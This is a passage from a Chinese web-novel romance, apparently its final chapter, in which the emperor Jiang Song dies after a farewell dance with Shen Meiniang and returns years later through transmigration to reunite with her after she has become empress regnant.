原来这些日子有个她瞧着奇怪的小宦官不是什么宦官,而是姜颂安排给他画像的画师。 沈美娘眨了眨眼,轻声问:“你是不是……” “是。”姜颂答。 他露出生病以来,最和煦最灿烂的笑容:“美娘,你不要难过,我也不难过。人都是会死的,我死以后,也会保佑你的。” “我会为你祈祷风调雨顺,国运昌隆,祈祷你万事顺意,心想事成。” 沈美娘故意逗姜颂道:“那你死了,不是比活着还累。” 就在姜颂还想说话时,沈美娘用力抱住他:“我不需要你为我祈祷,你只要……好好在冥界活着就好。” 沈美娘从前都觉得人死了就死了,但此时此刻,她只能骗自己,这世上或许是有冥界和阴曹地府的。 她的爱人,不是死去,只是在另一个地方继续活着。 “我会记得你的。”沈美娘道。 “永远,永远。” 傍晚,姜栩来给姜颂请安,还汇报了他近日读的书。 姜颂把他喊到面前来,关怀了几句,又道:“以后父皇不在了,你要像尊敬父皇一样,尊敬你母后,你明白吗?” 姜栩点头。 姜颂看他听话的样子,让宦官将他带了出去。 入了夜,姜颂脸上的气血逐渐被衰败取代,他还是撑着, 对沈美娘道:“美娘,我给你提前准备了二十岁生辰礼。” 沈美娘有些怔然。 姜颂今年的生辰时他身体不好,后来又遇到了谢阁老谋反,她也就什么都没送。 可她没想到姜颂会送她礼物。 姜颂将一套奇怪的服装放到沈美娘面前:“美娘,这个应该就是‘礼服’,是我从我娘的书里看了很久猜出来的。我们去年跳的那支舞,应该就是穿这种衣裳跳的。” 他记得沈美娘还挺喜欢那个叫“华尔兹”的舞蹈。 姜颂觉得给沈美娘送舞衣肯定没错。 他催促沈美娘:“你快去换上吧。我真的很好奇,美娘你打扮成那个世界姑娘喜欢的样子,会是什么样。” 沈美娘捧起白纱和丝绸制成的舞衣看了好一会儿,却放下了。 “姜颂,我先送你一支舞吧。”沈美娘道,“是我不好,现在才补给你的十九岁生日礼物。” 她让姜颂在廊下坐下。 沈美娘步入庭中,清浅的月光洒下,时光好像被拉回芙蓉谷的小溪边。 那是她第一次给姜颂跳舞。 也是爱情萌芽的时刻。 沈美娘将头上的金钗全都褪下,假髻也被她解下。 她的一举一动都像是舞蹈动作,直到全身不剩一点珠翠,她才在海棠树下翩然起舞。 已经是春末,牡丹谢了,只剩下开得最晚的海棠,还在盛放。 轻柔的花瓣,因沈美娘有力的甩袖,被流风从枝头带落,翩翩洒在她的肩头。 这是上次她给姜颂跳过的舞,不同的是,她又在里头加了很多东西。 不再只有家乡旧景,沈美娘还在里头融入了更多美好的画面。 这次她没有给姜颂解释,可他竟也能猜出,她跳的是什么。 有她饮酒微醺的情态,有她与姜颂漫步上京看上元灯火的场景,还有雪花纷飞…… 沈美娘与姜颂相识后,经历的无数景色都融于舞中,整支舞就是一个大燕少女的生活和她的恋爱图景。 一舞毕,沈美娘汗水淋漓,站到姜颂面前:“姜颂,这支舞的名字我想好了。” 姜颂:“叫什么?” “就叫《美娘》。”沈美娘道。 她要将这支舞编排出来,让无数人都看到,看到她的家乡,看到她的故事,看到她爱过的人。 沈美娘握紧姜颂的手:“只要有人看到这支舞,就会知道我的故事,就会和我一样记得你。” 姜颂看着她亮闪闪的眼睛,知道沈美娘这是把他放到和她爹娘一样的位置去了。 沈美娘给姜颂跳完舞,终于换上了姜颂送她的舞裙。 她起初很不习惯这件衣裳,露胳膊,又漏腿,整个后背也光在外面。 但在短暂的不适后,沈美娘转了几个圈,发觉这件衣裳确实很适合跳舞。 尤其是她一转圈,裙摆就会像白色的山茶般,层层叠叠盛开。 沈美娘的长发用一根红色的发带挽起,姜颂还贴心地帮她扎了个蝴蝶结。 开始跳舞前,姜颂强调:“美娘,我这次准备了很久,肯定不会再踩你脚了。” 沈美娘挑眉:“拭目以待。” 姜颂走到她面前,紧张地伸出手。 他说的没错,这次他确实没有再踩沈美娘的脚,和沈美娘配合得很好。 没有音乐,两个人都在心里打着拍子,头顶月色正好,海棠花偶尔被风吹落,洋洋洒洒落在两人身侧。 沈美娘盼望着这支舞永远不要停下。 就这样跳啊,跳吧…… 但还是结束了。 姜颂按礼节和沈美娘谢舞。 他和沈美娘在回廊下坐着,看圆圆的月亮,像纸钱般纷飞的海棠。 “美娘,你不能忘记我……”姜颂喃喃。 沈美娘:“嗯。” 姜颂笑了笑,他握紧沈美娘的手,闭上了眼。 沈美娘也不知道自己在廊下坐了多久。 她仍与姜颂十指相握。 许久以后,天亮了,她的一滴清泪,落在了两人紧扣的手上。 姜颂毫无反应。 他的手指僵硬、没有一丝活人的温度。 沈美娘知道。 他死了。 死在一个美好至极的春夜- 十年后。 新进宫的小宫娥不懂事,跟着女史大人,好奇地打量整座宫殿。 女史提醒:“仔细些,这是大明宫,一不小心就要掉脑袋的地方。” 小宫娥忙点头。 突然,女史拉着她跪下,小宫娥听到太监道:“陛下到——” 她想偷偷抬眼看,那位以女子之身坐上皇位的女帝陛下,却发现辇驾里空无一人。 等浩浩荡荡的人群离开后,小宫娥不解:“那里头没有人,为何还要跪啊?” 女史拍了下她:“你竟还敢偷看?!” 小宫娥连连道歉,又道:“姑姑,人家好奇嘛。” 当今陛下,原是前朝孝帝的皇后,后来一路临朝称制,三年前更是直接废了殇帝,改国号为虞,自立为帝。 “见辇驾如见陛下,自然都要跪!”女史戳了戳这个蠢笨侄女的头:“这宫里好奇害死猫,你以后可得把你那些好奇收起来。” 小宫娥这才点头。 但她心里对陛下的好奇更深,还悄悄瞒着姑姑,没去六尚,而是去了紫宸殿伺候。 可是小宫娥还是没机会见到陛下。 她姑姑只是尚服局一个不入流的女史,当然在紫宸殿帮不上她忙。 小宫娥于是只能做些洒扫粗活。 她原本以为自己这辈子都遇不到陛下,却没想到上元节大雪,旁人都躲懒,就她一个人想着陛下最爱她的牡丹花。 小宫娥怕大雪冻坏牡丹根苗,提了盏灯,守在牡丹身边。 也在那日,她平生第一次见到了陛下。 外界盛传陛下是牡丹花仙降世,才会生得倾国倾城不说,还有一手治国的好本事。 事实也如此。 小宫娥听到一道严厉的女声问“谁在那里”。 她的心提到嗓子眼,小心上前。 陛下命令她抬头,小宫娥就看到了眼前人不怒自威的容颜。 她还看到陛下眼里像是闪过一丝失落。 小宫娥解释了来龙去脉,陛下才放她离开。 沈美娘看着小宫娥离开,觉得这个孩子虽笨拙但做事认真,改日该让韦阿宜给她提提等级——不能叫人才埋没。 沈美娘揉了揉眉心。 她刚才饮了酒,想起院子里姜颂曾命人为她种下的花。 可能是醉酒的缘故,她竟以为那小宫娥是他回来了。 果然……这世上哪里有那么多的好事,都叫她沈美娘能遇上。 当年,姜颂死后第三日,颜舜华赶到了上京。 她看到沈美娘形容枯槁的样子,终于说出了一个可能存在的机会—— “姜颂,他、他如果真的很有执念的话,也可能还有机会。” “我能快穿,就是因为我死前很有执念,如果姜颂和我一样的话,可能快穿局也会看上他……可能会让他做任务,再说这个世界本来就崩剧情了,或许会有缺口需要他来填。” “但是这个可能性微乎其微,美娘你还是不要等了,他就算回来了,也大概率是不会有前世记忆的。再说,谁知道姜颂会被快穿局投到这世界的哪里去啊,说不定阿猫阿狗都有可能……” “你真的不要等了。” 沈美娘回到紫宸殿,殿中宝儿、苏云卿等人都在。 宝儿看沈美娘回来,忙起身,她怀里抱着的狸奴立刻向沈美娘跑过来。 沈美娘把狸奴抱起来,问:“你是不是姜颂?” 宝儿听清了沈美娘的话,心里觉得她这两三年真的有些魔怔了。 猫儿狗儿养了一大堆就不说了,还总是搞选秀,关键是一个选进宫的男的都没有。 苏云卿对沈美娘对着一只猫喊“姜颂”,则显得接受良好。 她继续刚才没说完的话:“陛下命臣在甘州、洛州等地兴建佛寺,如今均已选好址,只待开春就能动工。” 沈美娘这些年,陆续让女子也能入朝为官,甚至有意在科举上开口子,让女子也能参与科举。 宝儿和苏云卿已经被她调到了前朝,一个是户部侍郎,一个是礼部尚书。 沈美娘听完苏云卿的话点头:“云卿做事可靠,朕放心。” 宝儿有些吃醋:“美娘,难道我就不可靠了吗?” “你也可靠,行了吧?”沈美娘逗弄狸奴的手腾出一只,捏了捏宝儿的鼻子。 宝儿开心地哼哼两声。 殿内剩下几位前朝和后宫的女官,看宝儿这样也都笑了起来。 满堂欢声里,沈美娘的眼里还是忍不住闪过一丝落寞。 姜颂他会回来吗? 他的执念是否浓烈到,可能还会再来找她。 两人又当真能有那般好的缘分重遇。 沈美娘望着窗外飘雪。 姜颂,这已经是你离开的第十一个年头了。 他再不来,她就真的该成半老徐娘了。 上元短暂的休息后,沈美娘又要投入朝政里去。 这些年江山在她手里被治得很好。 谢党和叶党的党争,最终当然是以叶党赢了作结。 没办法,叶党代表的是新兴科举的受益人,勋贵和世家和他们绝不是对手。 但叶党也不是最终赢家。 因为沈温被她贬谪出京后,不到一年,她就废掉了姜栩自立。 谢党和叶党都成了她的棋子,刘知渊、蜀王,还有后续她提拔的许多新人,诸如宝儿、苏云卿,才是她真正信任的人。 但沈美娘也信守承诺,为沈温——应该说是祝凌全家平了反,祝凌现在也成了蜀地的一名武将。 年末,他给沈美娘来了问候的信,沈美娘没有看。 至于姜栩那个孩子,他对权位并不喜欢,从小就喜欢诗文。 沈美娘给他的毒酒是假死药,如今的他,想必应该正在某处向往已久的名山大川游历吧。 “什么声音?” 这日沈美娘下朝后,如往日般,在御花园里散心。 她突然听到一阵熟悉的乐声。 身旁的韦阿宜,思索片刻,道:“想来是新进宫的乐师在练琴。” 不是。 这不是琴声,这是吹奏木叶的声音。 沈美娘驻足听了一会儿,忽然发现曲子格外熟悉。 她想起来了。 这是她在芙蓉谷时,曾给姜颂吟唱过的曲儿。 沈美娘这些年让无数人排练了《美娘》那首曲子,但都是删改调整后的,曲子里是没有这段的。 “陛下,您去哪里?” 沈美娘不管身后的宫人,循着乐声小跑起来。 她鬓边的流苏激荡,就好像她此刻的心。 沈美娘很快找到了声音的源头。 开得正好的牡丹旁,有一清俊少年,手里拿着一枚木叶正在吹奏乐曲。 他像是察觉沈美娘的存在,将木叶松开,让它随风飘落到池塘里。 少年对沈美娘行礼:“贱民见过陛下。” 沈美娘心里有些怅然,她发觉少年和姜颂长得没一点相像之处。 “平身罢。” 沈美娘有些不乐,正欲转身离开,却听到身后的人道:“美娘,你不是说,你们家乡那里,得会用木叶吹情歌,才会有小娘子喜欢他吗?” 沈美娘转头。 少年看着她,笑得眉眼弯弯。 他的眼睛依旧明亮、清澈。 沈美娘还没反应过来,姜颂已经飞奔过来,抱住她:“美娘,我回来啦!” “我这些年,起初是没有记忆的,但后来慢慢就想起来了。”姜颂和沈美娘解释,“快穿局说我执念太过,想让我去帮他们做任务,但我不想让你等,就拒绝了。他们还说我肯定想不起你,但是你瞧,我想起你了。” “我一穿过来,就是在南疆的一个九岁的傻子身上,今年一月份才想起来。我这些年终于学会了吹木叶,还有傩戏……我都学会了!” 姜颂把这些年的经历一一道来。 然后,他发现沈美娘又哭了…… 而那些宫人也都追了过来,姜颂知道沈美娘最怕在人前示弱,连忙喝斥:“都退下。” 宫人因姜颂的话,都吓得跪下不敢进来。 为首的韦阿宜,都被这乐师的气势给吓住了——她总觉得这声音有些熟悉。 沈美娘推开姜颂:“你倒是脾气更大了。” 姜颂摇头,毫无负担地又抱住沈美娘:“没办法,你以前惯出来的。” 沈美娘轻“哼”一声,擦掉眼角晶莹的泪:“好吧,算我倒霉。” “不是倒霉,是幸运!”姜颂纠正。 “我遇到你,你遇到我,都是很幸运,很幸运的事情!” 沈美娘轻笑:“也是。” 春风吹动丛中牡丹,花瓣颤了颤,两人的鬓发和衣袂也被吹动。 两相对望,心也怦然心动。 一如当年。